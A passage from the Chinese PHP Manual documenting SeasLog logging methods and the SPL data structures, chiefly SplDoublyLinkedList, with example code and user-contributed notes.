  • SeasLog::alert() - 记录 alert 日志
  • SeasLog::emergency() - 记录 emergency 日志
  • SeasLog::log() - 公共的日志记录函数

User Contributed Notes

There are no user contributed notes for this page.


公共的日志记录函数

  • ? SeasLog::info
  • SeasLog::notice ?
  • PHP Manual
  • SeasLog
  • 公共的日志记录函数

SeasLog::log

(PECL seaslog >=1.0.0)

SeasLog::log — 公共的日志记录函数

说明

public static SeasLog::log(
string $level,
string $message = ?,
array $content = ?,
string $logger = ?
): bool

公共的日志记录函数。可用于调用者扩展日志模板或级别。

参数

level

可以使用以下预设级别：

  • SEASLOG_DEBUG
  • SEASLOG_INFO
  • SEASLOG_NOTICE
  • SEASLOG_WARNING
  • SEASLOG_ERROR
  • SEASLOG_CRITICAL
  • SEASLOG_ALERT
  • SEASLOG_EMERGENCY
或者你可以自助创建新的级别。

message

日志消息

content

`message` 包含占位符，实现用 content 数组中的值替换这些占位符。 例如 `message` 是 `log info from {NAME}`，`content` 是 `array('NAME' => neeke)`， 日志信息是 `log info from neeke`。

logger

当函数调用 SeasLog::setLogger() 时，就像临时 logger 一样，在第三个参数中使用这个 `logger`。 如果 `logger` 为 NULL 或 ""，那么 SeasLog 将使用由 SeasLog::setLogger() 设置的最新日志记录程序。

返回值

记录日志信息成功返回 TRUE，失败返回 FALSE。

示例

Example #1 SeasLog::log() 示例

<?php

var_dump(SeasLog::log(SEASLOG_INFO,'info log'));
var_dump(SeasLog::getBuffer());

//create a new level self-help.
var_dump(SeasLog::log('MySelfLevel','info log'));
var_dump(SeasLog::getBuffer());

//with `content`
var_dump(SeasLog::log('MySelfLevel','info log {NAME}',array('NAME' => 'neeke')));
var_dump(SeasLog::getBuffer());

//with `logger`
var_dump(SeasLog::log('MySelfLevel','info log {NAME}',array('NAME' => 'neeke'),'tmp_logger'));
var_dump(SeasLog::getBuffer());

?>

以上示例的输出类似于：

bool(true)
array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(1) {
    [0]=>
    string(79) "2018-07-07 11:12:37 | INFO | 72427 | 5b402fa56a2ea | 1530933157.436 | info log
"
  }
}

bool(true)
array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(1) {
    [0]=>
    string(86) "2018-07-07 11:13:59 | MySelfLevel | 72470 | 5b402ff781c5e | 1530933239.532 | info log
"
  }
}

bool(true)
array(1) {
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:28:12 | MySelfLevel | 72833 | 5b40334ce6a2f | 1530934092.946 | info log neeke
"
  }
}

bool(true)
array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(1) {
    [0]=>
    string(86) "2018-07-07 11:20:12 | INFO | 72616 | 5b40316c3641e | 1530933612.222 | info log neeke
"
  }
}

参见

  • seaslog.default_template
  • SeasLog::debug() - 记录 debug 日志
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - 记录 notice 日志
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - 记录 error 日志
  • SeasLog::critical() - 记录 critical 日志
  • SeasLog::alert() - 记录 alert 日志
  • SeasLog::emergency() - 记录 emergency 日志

User Contributed Notes

There are no user contributed notes for this page.


记录 notice 日志

  • ? SeasLog::log
  • SeasLog::setBasePath ?
  • PHP Manual
  • SeasLog
  • 记录 notice 日志

SeasLog::notice

(PECL seaslog >=1.0.0)

SeasLog::notice — 记录 notice 日志

说明

public static SeasLog::notice(string $message, array $content = ?, string $logger = ?): bool

记录 notice 日志。

Note:

"NOTICE"——一般重要性事件、执行过程中较 INFO 级别更为重要的信息。

参数

message

日志的消息

content

`message` 包含占位符，实现用 content 数组中的值替换这些占位符。 例如 `message` 是 `log info from {NAME}`，`content` 是 `array('NAME' => neeke)`， 日志信息是 `log info from neeke`。

logger

当函数调用 SeasLog::setLogger() 时，就像临时 logger 一样，在第三个参数中使用这个 `logger`。 如果 `logger` 为 NULL 或 ""，那么 SeasLog 将使用由 SeasLog::setLogger() 设置的最新日志记录程序。

返回值

记录日志信息成功返回 TRUE，失败返回 FALSE。

示例

Example #1 SeasLog::notice() 示例

<?php

var_dump(SeasLog::notice('log message'));

//with content
var_dump(SeasLog::notice('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::notice('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | NOTICE | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | NOTICE | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | NOTICE | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参见

  • seaslog.default_template
  • SeasLog::debug() - 记录 debug 日志
  • SeasLog::info() - Record info log information
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - 记录 error 日志
  • SeasLog::critical() - 记录 critical 日志
  • SeasLog::alert() - 记录 alert 日志
  • SeasLog::emergency() - 记录 emergency 日志
  • SeasLog::log() - 公共的日志记录函数

User Contributed Notes

There are no user contributed notes for this page.


设置 SeasLog 根目录

  • ? SeasLog::notice
  • SeasLog::setDatetimeFormat ?
  • PHP Manual
  • SeasLog
  • 设置 SeasLog 根目录

SeasLog::setBasePath

(PECL seaslog >=1.0.0)

SeasLog::setBasePath — 设置 SeasLog 根目录

说明

public static SeasLog::setBasePath(string $base_path): bool

设置 SeasLog 根目录。

参数

base_path

String.

返回值

设置根目录成功返回 TRUE，失败返回 FALSE。

示例

Example #1 SeasLog::setBasePath() 示例

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


设置 SeasLog 日期格式

  • ? SeasLog::setBasePath
  • SeasLog::setLogger ?
  • PHP Manual
  • SeasLog
  • 设置 SeasLog 日期格式

SeasLog::setDatetimeFormat

(PECL seaslog >=1.0.0)

SeasLog::setDatetimeFormat — 设置 SeasLog 日期格式

说明

public static SeasLog::setDatetimeFormat(string $format): bool

设置 SeasLog 日期格式。

Warning

本函数还未编写文档，仅有参数列表。

参数

format

字符串。比如 `Y-m-d H:i:s` 或者 `Ymd His`。查看函数 date() 的第一个参数 `format`。

返回值

设置日期时间格式成功时返回 TRUE，失败时返回 FALSE。

示例

Example #1 SeasLog::setDatetimeFormat() 示例

<?php

var_dump(SeasLog::setDateTimeFormat('Ymd His'));

?>

以上示例的输出类似于：

bool(true)

参见

  • SeasLog::getDateTimeFormat() - 获取 SeasLog 日期格式

User Contributed Notes

There are no user contributed notes for this page.


设置 SeasLog 的 Logger 名

  • ? SeasLog::setDatetimeFormat
  • SeasLog::setRequestID ?
  • PHP Manual
  • SeasLog
  • 设置 SeasLog 的 Logger 名

SeasLog::setLogger

(PECL seaslog >=1.0.0)

SeasLog::setLogger — 设置 SeasLog 的 Logger 名

说明

public static SeasLog::setLogger(string $logger): bool

使用函数 SeasLog::setLogger() 将改变函数 SeasLog::getLastLogger() 的取值。 这意味着，SeasLog 将会把日志信息记录在该 Logger 下。

参数

logger

Logger name.

返回值

设置 Logger 成功（在存储介质为文件时将创建目录或文件）返回 TRUE，失败返回 FALSE。

示例

Example #1 SeasLog::setLogger() 示例

<?php

var_dump(SeasLog::setLogger('testModule/testLogger'));

?>

以上示例的输出类似于：

bool(true)

参见

  • SeasLog::getLastLogger() - 获得 SeasLog 最近的一次 Logger 名称

User Contributed Notes

There are no user contributed notes for this page.


设置可以由 SeasLog 用于区分请求的 request_id

  • ? SeasLog::setLogger
  • SeasLog::setRequestVariable ?
  • PHP Manual
  • SeasLog
  • 设置可以由 SeasLog 用于区分请求的 request_id

SeasLog::setRequestID

(PECL seaslog >=1.0.0)

SeasLog::setRequestID — 设置可以由 SeasLog 用于区分请求的 request_id

说明

public static SeasLog::setRequestID(string $request_id): bool

为了区分一个独立的请求，如果没有调用函数 SeasLog::setRequestId() 进行指定，将会在请求初始化时，使用内置函数 `static char *get_uniqid ()` 生成一个 unique 值。

参数

request_id

String.

返回值

设置 request_id 成功返回 TRUE，失败返回 FALSE。

示例

Example #1 SeasLog::setRequestID() 示例

<?php

var_dump(SeasLog::setRequestID(time() . rand()));

?>

以上示例的输出类似于：

bool(true)

参见

  • SeasLog::getRequestID() - 获得当前 SeasLog 中用于区分请求的 request_id

User Contributed Notes

There are no user contributed notes for this page.


Manually set SeasLog request variable

  • ? SeasLog::setRequestID
  • SeasLog::warning ?
  • PHP Manual
  • SeasLog
  • Manually set SeasLog request variable

SeasLog::setRequestVariable

(PECL seaslog >=1.9.0)

SeasLog::setRequestVariable — Manually set SeasLog request variable

说明

public static SeasLog::setRequestVariable(int $key, string $value): bool

Manually set SeasLog request variable.

参数

key

Constant int.

  • SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT
  • SEASLOG_REQUEST_VARIABLE_REQUEST_URI
  • SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD
  • SEASLOG_REQUEST_VARIABLE_CLIENT_IP

value

The request variable value.

返回值

Return TRUE on set success, FALSE on failure.

示例

Example #1 SeasLog::setRequestVariable() example

<?php

$sDomainPort = 'domain:port';
$sRequestUri = 'uri';
$sRequestMethod = 'method';
$sClientIp = 'client_ip';

$iErrorKey = 1000;

$oSeasLog = new SeasLog();

var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT, $sDomainPort));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_URI, $sRequestUri));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD, $sRequestMethod));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_CLIENT_IP, $sClientIp));

var_dump($oSeasLog->setRequestVariable($iErrorKey,NULL));

var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT) == $sDomainPort);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_URI) == $sRequestUri);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD) == $sRequestMethod);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_CLIENT_IP) == $sClientIp);

var_dump($oSeasLog->getRequestVariable($iErrorKey));

?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)
bool(false)

参见

  • SeasLog::getRequestVariable() - Get SeasLog request variable

User Contributed Notes

There are no user contributed notes for this page.


Record warning log information

  • ? SeasLog::setRequestVariable
  • SPL ?
  • PHP Manual
  • SeasLog
  • Record warning log information

SeasLog::warning

(PECL seaslog >=1.0.0)

SeasLog::warning — Record warning log information

说明

public static SeasLog::warning(string $message, array $content = ?, string $logger = ?): bool

记录 warning 日志信息。

Note:

"WARNING"——出现了非错误性的异常信息、潜在异常信息、需要关注并且需要修复。

参数

message

日志信息。

content

`message` 包含占位符，实现用 content 数组中的值替换这些占位符。 例如 `message` 是 `log info from {NAME}`，`content` 是 `array('NAME' => neeke)`， 日志信息是 `log info from neeke`。

logger

当函数调用 SeasLog::setLogger() 时，就像临时 logger 一样，在第三个参数中使用这个 `logger`。 如果 `logger` 为 NULL 或 ""，那么 SeasLog 将使用由 SeasLog::setLogger() 设置的最新日志记录程序。

返回值

记录日志信息成功返回 TRUE，失败返回 FALSE。

示例

Example #1 SeasLog::warning() 示例

<?php

var_dump(SeasLog::warning('log message'));

//with content
var_dump(SeasLog::warning('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::warning('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | WARNING | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | WARNING | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | WARNING | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参见

  • seaslog.default_template
  • SeasLog::debug() - 记录 debug 日志
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - 记录 notice 日志
  • SeasLog::error() - 记录 error 日志
  • SeasLog::critical() - 记录 critical 日志
  • SeasLog::alert() - 记录 alert 日志
  • SeasLog::emergency() - 记录 emergency 日志
  • SeasLog::log() - 公共的日志记录函数

User Contributed Notes

There are no user contributed notes for this page.


PHP 标准库（SPL）

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 数据结构
    • SplDoublyLinkedList — SplDoublyLinkedList 类
    • SplStack — SplStack 类
    • SplQueue — SplQueue 类
    • SplHeap — The SplHeap class
    • SplMaxHeap — The SplMaxHeap class
    • SplMinHeap — The SplMinHeap class
    • SplPriorityQueue — The SplPriorityQueue class
    • SplFixedArray — The SplFixedArray class
    • SplObjectStorage — The SplObjectStorage class
  • 迭代器
    • AppendIterator — AppendIterator 类
    • ArrayIterator — ArrayIterator 类
    • CachingIterator — CachingIterator 类
    • CallbackFilterIterator — The CallbackFilterIterator class
    • DirectoryIterator — The DirectoryIterator class
    • EmptyIterator — The EmptyIterator class
    • FilesystemIterator — The FilesystemIterator class
    • FilterIterator — FilterIterator 类
    • GlobIterator — GlobIterator 类
    • InfiniteIterator — The InfiniteIterator class
    • IteratorIterator — The IteratorIterator class
    • LimitIterator — LimitIterator 类
    • MultipleIterator — The MultipleIterator class
    • NoRewindIterator — The NoRewindIterator class
    • ParentIterator — The ParentIterator class
    • RecursiveArrayIterator — The RecursiveArrayIterator class
    • RecursiveCachingIterator — The RecursiveCachingIterator class
    • RecursiveCallbackFilterIterator — The RecursiveCallbackFilterIterator class
    • RecursiveDirectoryIterator — The RecursiveDirectoryIterator class
    • RecursiveFilterIterator — The RecursiveFilterIterator class
    • RecursiveIteratorIterator — The RecursiveIteratorIterator class
    • RecursiveRegexIterator — The RecursiveRegexIterator class
    • RecursiveTreeIterator — The RecursiveTreeIterator class
    • RegexIterator — The RegexIterator class
  • 接口
    • Countable — Countable 接口
    • OuterIterator — The OuterIterator interface
    • RecursiveIterator — The RecursiveIterator interface
    • SeekableIterator — SeekableIterator 接口
  • 异常
    • BadFunctionCallException — The BadFunctionCallException class
    • BadMethodCallException — BadMethodCallException 类
    • DomainException — The DomainException class
    • InvalidArgumentException — The InvalidArgumentException class
    • LengthException — The LengthException class
    • LogicException — The LogicException class
    • OutOfBoundsException — The OutOfBoundsException class
    • OutOfRangeException — The OutOfRangeException class
    • OverflowException — The OverflowException class
    • RangeException — The RangeException class
    • RuntimeException — The RuntimeException class
    • UnderflowException — The UnderflowException class
    • UnexpectedValueException — The UnexpectedValueException class
  • SPL 函数
    • class_implements — 返回指定的类或接口实现的所有接口
    • class_parents — 返回指定类的父类
    • class_uses — Return the traits used by the given class
    • iterator_apply — 为迭代器中每个元素调用函数
    • iterator_count — 计算迭代器中元素的个数
    • iterator_to_array — 复制迭代器中的元素到数组
    • spl_autoload_call — 尝试所有已注册的 __autoload() 函数来装载请求类
    • spl_autoload_extensions — 注册并返回 spl_autoload 的默认文件扩展名
    • spl_autoload_functions — 返回所有已注册的 __autoload() 函数
    • spl_autoload_register — 注册指定的函数作为 __autoload 的实现
    • spl_autoload_unregister — 注销已实现的 __autoload() 函数
    • spl_autoload — __autoload()函数的默认实现
    • spl_classes — 返回所有可用的SPL类
    • spl_object_hash — 返回指定对象的 hash id
    • spl_object_id — Return the integer object handle for given object
  • 文件处理
    • SplFileInfo — The SplFileInfo class
    • SplFileObject — SplFileObject 类
    • SplTempFileObject — The SplTempFileObject class
  • 各种类及接口
    • ArrayObject — The ArrayObject class
    • SplObserver — The SplObserver interface
    • SplSubject — The SplSubject interface

User Contributed Notes

There are no user contributed notes for this page.


简介

PHP 标准库（SPL）是用于解决标准问题（standard problems）的一组接口与类的集合。

SPL 提供了一套标准的数据结构、遍历对象的迭代器、异常，以及一些处理文件的类，它还提供了一系列的函数，比如 spl_autoload_register()。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

User Contributed Notes

There are no user contributed notes for this page.


数据结构

Table of Contents

  • SplDoublyLinkedList
  • SplStack
  • SplQueue
  • SplHeap
  • SplMaxHeap
  • SplMinHeap
  • SplPriorityQueue
  • SplFixedArray
  • SplObjectStorage

SPL 提供了一套标准的数据结构。它们按底层实现进行分组, 通常定义了它们的一般应用领域。

双向链表

双链表 (DLL) 是一个链接到两个方向的节点列表。当底层结构是 DLL 时, 迭代器的操作、对两端的访问、节点的添加或删除都具有 O (1) 的开销。因此, 它为栈和队列提供了一个合适的实现。

  • SplDoublyLinkedList
    • SplStack
    • SplQueue

堆

堆是遵循堆属性的树状结构: 每个节点都大于或等于其子级, 使用对堆全局的已实现的比较方法进行比较。

  • SplHeap
    • SplMaxHeap
    • SplMinHeap
  • SplPriorityQueue

数组

数组是以连续方式存储数据的结构, 可通过索引进行访问。不要将它们与 php 数组混淆: php 数组实际上是按照有序的列表实现的。

  • SplFixedArray

映射

映射是一个数据拥有键值对。PHP 数组可以被看作是从整数/字符串到值的映射。SPL 提供了从对象到数据的映射。此映射也可用作对象集。

  • SplObjectStorage

User Contributed Notes

There are no user contributed notes for this page.


SplDoublyLinkedList 类

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

SplDoublyLinkedList 类提供双向链表的主要功能。

类摘要

class SplDoublyLinkedList implements Iterator, Countable, ArrayAccess, Serializable {
/* 常量 */
public const int IT_MODE_LIFO;
public const int IT_MODE_FIFO;
public const int IT_MODE_DELETE;
public const int IT_MODE_KEEP;
/* 方法 */
public add(int $index, mixed $value): void
public bottom(): mixed
public count(): int
public current(): mixed
public getIteratorMode(): int
public isEmpty(): bool
public key(): int
public next(): void
public offsetExists(int $index): bool
public offsetGet(int $index): mixed
public offsetSet(?int $index, mixed $value): void
public offsetUnset(int $index): void
public pop(): mixed
public prev(): void
public push(mixed $value): void
public rewind(): void
public serialize(): string
public setIteratorMode(int $mode): int
public shift(): mixed
public top(): mixed
public unserialize(string $data): void
public unshift(mixed $value): void
public valid(): bool
}

预定义常量

迭代方向

SplDoublyLinkedList::IT_MODE_LIFO

列表将以先进后出的顺序迭代，就像栈一样。

SplDoublyLinkedList::IT_MODE_FIFO

列表将以先进先出的顺序迭代，就像队列一样。

迭代行为

SplDoublyLinkedList::IT_MODE_DELETE

迭代将移除已迭代的元素。

SplDoublyLinkedList::IT_MODE_KEEP

迭代将不会移除已迭代的元素。

Table of Contents

  • SplDoublyLinkedList::add — Add/insert a new value at the specified index
  • SplDoublyLinkedList::bottom — Peeks at the node from the beginning of the doubly linked list
  • SplDoublyLinkedList::count — Counts the number of elements in the doubly linked list
  • SplDoublyLinkedList::current — Return current array entry
  • SplDoublyLinkedList::getIteratorMode — Returns the mode of iteration
  • SplDoublyLinkedList::isEmpty — Checks whether the doubly linked list is empty
  • SplDoublyLinkedList::key — Return current node index
  • SplDoublyLinkedList::next — Move to next entry
  • SplDoublyLinkedList::offsetExists — Returns whether the requested $index exists
  • SplDoublyLinkedList::offsetGet — Returns the value at the specified $index
  • SplDoublyLinkedList::offsetSet — Sets the value at the specified $index to $value
  • SplDoublyLinkedList::offsetUnset — Unsets the value at the specified $index
  • SplDoublyLinkedList::pop — Pops a node from the end of the doubly linked list
  • SplDoublyLinkedList::prev — Move to previous entry
  • SplDoublyLinkedList::push — Pushes an element at the end of the doubly linked list
  • SplDoublyLinkedList::rewind — Rewind iterator back to the start
  • SplDoublyLinkedList::serialize — Serializes the storage
  • SplDoublyLinkedList::setIteratorMode — Sets the mode of iteration
  • SplDoublyLinkedList::shift — Shifts a node from the beginning of the doubly linked list
  • SplDoublyLinkedList::top — Peeks at the node from the end of the doubly linked list
  • SplDoublyLinkedList::unserialize — Unserializes the storage
  • SplDoublyLinkedList::unshift — Prepends the doubly linked list with an element
  • SplDoublyLinkedList::valid — Check whether the doubly linked list contains more nodes

User Contributed Notes

Premysl Karbula 21-Dec-2022 01:22
A function which replaces some portion od doubly linked list (DLL) with items from specified array.

<?php

/**
 * Replace some portion (specified by index and length) of DLL with items
 * from the specified replacement array.
 */
public function dll_splice(
    \SplDoublyLinkedList $dll,
    int $start,
    int $length,
    array $replacement,
): void {

    if ($start < 0 || ($start + $length) > $dll->count()) {
        throw new \OutOfRangeException("Invalid range for splicing");
    }

    for ($i = 0; $i < $length; $i++) {
        $dll->offsetUnset($start);
    }

    foreach ($replacement as $item) {
        $dll->add($start, $item);
    }

}

?>
77931774 at qq dot com 19-Oct-2021 02:11
$list = new SplDoublyLinkedList();

for ($i = 0; $i < 2000001; $i++) {
    $list->push($i);
}

$s = microtime(true);

//$res = $list->offsetGet(2000000);     // spend 7 ms
$res = $list->offsetGet(0);               // spend 0.07 ms
var_dump($res);

$e = microtime(true);

echo ($e - $s) * 1000;
lincoln dot du dot j at gmail dot com 12-Jul-2017 06:28
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];
for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

$a->push(11); //push method
$a->add(10,12); //add method must with index
$a->shift(); //remove array first value
$a->unshift(1); //add first value

$a->rewind(); //initial from first

echo "SplDoublyLinkedList array last/top value " .  $a->top() ." \n";
echo "SplDoublyLinkedList array count value " .  $a->count() ." \n";
echo "SplDoublyLinkedList array first/top value " . $a->bottom() . " \n\n";

while($a->valid()){ //check with valid method
    echo 'key ', $a->key(), ' value ', $a->current(),"\n"; //key and current method use here
    $a->next(); //next method use here
}

$a->pop(); //remove array last value
print_r($a);
$s=$a->serialize();
echo $s;

//Output
SplDoublyLinkedList array last/top value 12
SplDoublyLinkedList array count value 11
SplDoublyLinkedList array first/top value 1

key 0 value 1
key 1 value 2
key 2 value 3
key 3 value 4
key 4 value 5
key 5 value 6
key 6 value 7
key 7 value 8
key 8 value 9
key 9 value 11
key 10 value 12
SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 4
            [4] => 5
            [5] => 6
            [6] => 7
            [7] => 8
            [8] => 9
            [9] => 11
        )

)
i:0;:i:1;:i:2;:i:3;:i:4;:i:5;:i:6;:i:7;:i:8;:i:9;:i:11;
dongchao769390531 at 163 dot com 06-Jun-2017 10:03
<?php
$splDoubleLinkedList = new SplDoublyLinkedList();
$splDoubleLinkedList->push('a');
$splDoubleLinkedList->push('3');
$splDoubleLinkedList->push('v');
$splDoubleLinkedList->push('1');
$splDoubleLinkedList->push('p');
//First of all, we need rewind list
$splDoubleLinkedList->rewind();
//Use while, check if the list has valid node
while ($splDoubleLinkedList->valid()){
    //Print current node's value
    echo $splDoubleLinkedList->current()."\n";
    //Turn the cursor to next node
    $splDoubleLinkedList->next();
}
?>
Maaz Rehman 17-May-2015 06:54
/*
php doubly link list is an amazing data structure ,doubly means you can traverse forward as well as backward, it can act as a deque(double ended queue) if you want it to,
here is how it works

*/

//instantiating an object of doubly link list

$dlist=new SplDoublyLinkedList();

//a push inserts data at the end of the list
$dlist->push('hiramariam');
$dlist->push('maaz');
$dlist->push('zafar');

/* the list contains
hiramariam
maaz
zafar
*/

//while an unshift inserts an object at top of the list
$dlist->unshift(1);
$dlist->unshift(2);
$dlist->unshift(3);

/* the list now contains
3
2
1
hiramariam
maaz
zafar
*/

//you can delete an item from the bottom of the list by using pop
$dlist->pop();

/* the list now contains
3
2
1
hiramariam
maaz

*/
//you can delete an item from the top of the list by using shift()
$dlist->shift();

/* the list now contains

2
1
hiramariam
maaz

*/

/* if you want to replace an item at particular index you can use a method named add , note that if you want to replace an item that does not exist , an exception will be thrown*/

$dlist->add(3 , 2.24);

/*
to go through the list we use a simple for loop, the rewind() method shown below point to the initials of the list depending on the iterator, a valid() method checks whether a list is still valid or not , meaning it ensures the loop does not go on and on after we reach the last data in the list , and the next() method simply points to the next data in the list.

*/
for($dlist->rewind();$dlist->valid();$dlist->next()){

    echo $dlist->current()."<br/>";
    }
echo "<br/>";
/*

To traverse backward

*/
$dlist->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO);
for($dlist->rewind();$dlist->valid();$dlist->next()){

    echo $dlist->current()."<br/>";;
    }
Gilles A 09-Aug-2013 12:19
FIFO and LIFO in SplDoublyLinkedList

$list = new SplDoublyLinkedList();
$list->push('a');
$list->push('b');
$list->push('c');
$list->push('d');

echo "FIFO (First In First Out) :\n";
$list->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO);
for ($list->rewind(); $list->valid(); $list->next()) {
    echo $list->current()."\n";
}

Result :

// FIFO (First In First Out):
// a
// b
// c
// d

echo "LIFO (Last In First Out) :\n";
$list->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO);
for ($list->rewind(); $list->valid(); $list->next()) {
    echo $list->current()."\n";
}

Result :

// LIFO (Last In First Out):
// d
// c
// b
// a


Add/insert a new value at the specified index

  • ? SplDoublyLinkedList
  • SplDoublyLinkedList::bottom ?
  • PHP Manual
  • SplDoublyLinkedList
  • Add/insert a new value at the specified index

SplDoublyLinkedList::add

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

SplDoublyLinkedList::add — Add/insert a new value at the specified index

说明

public SplDoublyLinkedList::add(int $index, mixed $value): void

Insert the value value at the specified index, shuffling the previous value at that index (and all subsequent values) up through the list.

参数

index

The index where the new value is to be inserted.

value

The new value for the index.

返回值

没有返回值。

错误／异常

Throws OutOfRangeException when index is out of bounds or when index cannot be parsed as an integer.

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:07
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

print_r($a);

//Output:

SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 4
            [4] => 5
            [5] => 6
            [6] => 7
            [7] => 8
            [8] => 9
        )

)
gandung at ppp dot cylab dot cmu dot edu 12-Mar-2017 03:38
Maybe the basic usage is like this i think..

$a = new \SplDoublyLinkedList;

if ($a instanceof \SplDoublyLinkedList) {
    $a->add(0, 'Paulus');
    $a->add(1, 'Gandung');
    $a->add(2, 'Prakosa');

    // then, iterate over that because \SplDoublyLinkedList
    // is implementing \Iterator interface.
    foreach ($a as $value) {
        echo sprintf("%s\n", $value);
    }
}


Peeks at the node from the beginning of the doubly linked list

  • ? SplDoublyLinkedList::add
  • SplDoublyLinkedList::count ?
  • PHP Manual
  • SplDoublyLinkedList
  • Peeks at the node from the beginning of the doubly linked list

SplDoublyLinkedList::bottom

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::bottom — Peeks at the node from the beginning of the doubly linked list

说明

public SplDoublyLinkedList::bottom(): mixed

参数

此函数没有参数。

返回值

The value of the first node.

错误／异常

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:30
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

echo "SplDoublyLinkedList array last/top value " .  $a->top() ." \n";
echo "SplDoublyLinkedList array first/top value " . $a->bottom() . " \n\n";

print_r($a);

//Another Example
$spl = new SplDoublyLinkedList;

$spl->push(11);
$spl->push(2);
$spl->push(3);
$spl->push(8);
$spl->push(5);

//array last value
echo $spl->top();
echo PHP_EOL;
//Array first value
echo $spl->bottom();
echo PHP_EOL;

print_r($spl);
tstirrat at gmail dot com 27-Apr-2014 10:27
A note on top() and bottom():

Picture the doubly-linked list (or queue) in the same way that you would a stack.

Say you started with an empty queue, and added five values:

$myList = new SplDoublyLinkedList

$mylist->push(1)
$mylist->push(2)
$mylist->push(3)
$mylist->push(4)
$mylist->push(5)

$mylist->top()
-> 5

$mylist->bottom()
-> 1
rakesh dot mishra at gmail dot com 26-Jan-2011 10:39
<?php

/*
 * Examples of DoublyLinkedList
 */

$obj = new SplDoublyLinkedList();

// Check wither linked list is empty
if ($obj->isEmpty())
{
    echo "Adding nodes to Linked List<br>";
    $obj->push(2);
    $obj->push(3);

    echo "Adding the node at beginning of doubly linked list <br>";
    $obj->unshift(10);
}

echo "<br>Our Linked List:";
print_r($obj);

echo "<br>Pick the node from beginning of doubly linked list";
echo $obj->bottom();

?>


Counts the number of elements in the doubly linked list

  • ? SplDoublyLinkedList::bottom
  • SplDoublyLinkedList::current ?
  • PHP Manual
  • SplDoublyLinkedList
  • Counts the number of elements in the doubly linked list

SplDoublyLinkedList::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::count — Counts the number of elements in the doubly linked list

说明

public SplDoublyLinkedList::count(): int

参数

此函数没有参数。

返回值

Returns the number of elements in the doubly linked list.

User Contributed Notes

There are no user contributed notes for this page.


Return current array entry

